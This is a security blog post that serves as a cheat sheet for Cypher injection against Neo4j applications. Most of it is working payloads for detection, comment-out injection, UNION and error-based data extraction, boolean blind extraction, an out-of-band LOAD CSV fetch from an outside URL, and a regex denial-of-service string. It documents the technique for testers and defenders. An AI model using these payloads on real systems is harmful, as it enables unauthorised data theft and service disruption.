Neo4j (Cypher graph query language) injection
I recently came across an injection issue in an app using the Neo4j database for storage. As I had not come across this before and there doesn’t seem to be many posts covering this I thought I would compile a list of syntax that can accomplish most of the common tasks when exploiting query based injection. I used the free sandbox from Neo4j to test these: https://sandbox.neo4j.com/
A simple query should look something like this:
MATCH (a:Movie {title: 'Johnny Mnemonic'}) RETURN aor
MATCH (a:Movie) WHERE a.title = "Johnny Mnemonic" RETURN aor
MATCH (a:Movie) RETURN a LIMIT 20or
MATCH (a:Movie) RETURN a ORDER BY titleDetection
Detection of a vulnerable Neo4j query is mostly similar to detecting SQL injection, try using any of the following payloads in the example queries above:
- ’
- "
- )
- int-int (ie: 12-1)
- int/0 (ie: 12/0)
- prepend a string like
zxlck.
Payload Johnny 'Mnemonic:
MATCH (a:Movie {title: 'Johnny 'Mnemonic'})
RETURN aYields the following:
Invalid input 'Mnemonic': expected
...
(line 1, column 33 (offset: 32))
"MATCH (a:Movie {title: 'Johnny 'Mnemonic'})"Exploitation
We can inject the necesary characters to form valid syntax '})and then comment out the rest with //. Payload Johnny '}) // yields no error or matches:
MATCH (a:Movie {title: 'Johnny '}) //Mnemonic'})
RETURN aList tables:
match(a) return distinct labels(a)Injectable:
MATCH (n:Movie) where n.title = "abc injectect" return 123 as b union match (a) return distinct labels(a) as b //Select databases:
CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;seems injectable:
match (a) where 1 < 2 CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName;
match (a) where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN row.name as dbName limit 1;
match (a) where "a" = "b" return "a" as dbName union CALL apoc.systemdb.execute('SHOW DATABASES') YIELD row RETURN date(row.name) as dbName skip 2 limit 1;Union
Like other database injection techniques we can also do union:
MATCH (n:Movie) RETURN n LIMIT 25 union all match (b:sysinfo) return bWith union both sides must match, which can be solved by inject a fixed return before the union:
match (b:Person) where b.name = '' return size("123") as test union match (a:Movie) return size(keys(a)[2]) as test limit 1Error based injection
If error messages are enabled, most data can simply be dumped out by placing it inside the Date() function as it will fail to convert it to a date and error out the argument it received instead:
MATCH (a:Movie)
RETURN a ORDER BY a.title,Date(keys(a))Blind exploitation
Neo4j does not have a time/sleep function, but we can still perform boolean blind injections Number of columns:
match (a) return size(keys(a)) limit 1Length of column:
match (a) where a.title = '' or 4 = size('1234') return a limit 1Length of first column:
match (a) return size(keys(a)[0]) limit 1Length of table name:
match (b:Person) where b.name = '' return size("123") as test union match (a) return size(keys(a)) as test limit 1If condition:
match (a:Movie) return a order by case 'a' when 'b' then a.title else a.name endSubstring/Char:
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return substring(keys(b)[0],0,1) as test//'Putting it together:
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "a" then 2 else 3 end as test//'
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case substring(keys(b)[0],0,1) when "n" then 2 else 3 end as test//'
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 1 then 2 else 3 end as test//'
match (a) where a.title = 'injected' return 1 as test union match (b:Person) return case size(keys(b)[0]) when 4 then 2 else 3 end as test//'OOB
This appears to be the best documented technique, I didn’t spot any easy way to exfil data or environment variables and it does not appear to relay NTLM, but I didn’t investigate that deeply.
LOAD CSV FROM 'https://domain/file.csv' AS line
CREATE (:Artist {name: line[1], year: toInteger(line[2])})Regex DoS?
Bonus issue, it may or may not work:
MATCH (p)
WHERE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.....AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" =~ '(..\*)*'
RETURN "pwnt"